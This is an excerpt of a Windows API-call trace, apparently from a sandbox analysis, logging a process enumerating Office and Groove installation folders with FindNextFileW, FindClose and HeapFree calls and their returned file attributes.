	[0145.692] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1
	[0145.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.881] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0145.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.884] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0145.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.887] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0145.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.890] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0145.890] FindClose (in: hFindFile=0x5ddac0 | out: hFindFile=0x5ddac0) returned 1
	[0145.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0145.891] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1
	[0145.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0145.895] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1
	[0145.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0145.898] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1
	[0145.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0145.901] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0
	[0145.901] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0145.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0145.901] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1
	[0145.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0145.904] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1
	[0145.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0145.910] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1
	[0145.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0145.918] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1
	[0145.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0145.919] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1
	[0145.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.921] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0145.922] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0145.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0145.922] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0145.922] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0145.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0145.922] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1
	[0146.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0146.010] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0146.010] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0146.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0146.010] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1
	[0146.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0146.013] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1
	[0146.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0146.014] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1
	[0146.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0146.014] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0
	[0146.014] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0146.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0146.014] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1
	[0146.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0146.019] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0
	[0146.019] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0146.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0146.019] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0
	[0146.019] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0146.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0146.019] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1
	[0146.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0146.023] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1
	[0146.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0146.028] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1
	[0146.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0146.032] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0
	[0146.032] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0146.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0146.032] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1
	[0146.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0146.038] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1
	[0146.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0146.119] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1
	[0146.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0146.119] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0
	[0146.119] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0146.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0146.120] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0
	[0146.120] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0146.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0146.120] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1
	[0146.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0146.123] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0
	[0146.123] FindClose (in: hFindFile=0x5ddac0 | out: hFindFile=0x5ddac0) returned 1
	[0146.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0146.125] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1
	[0146.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
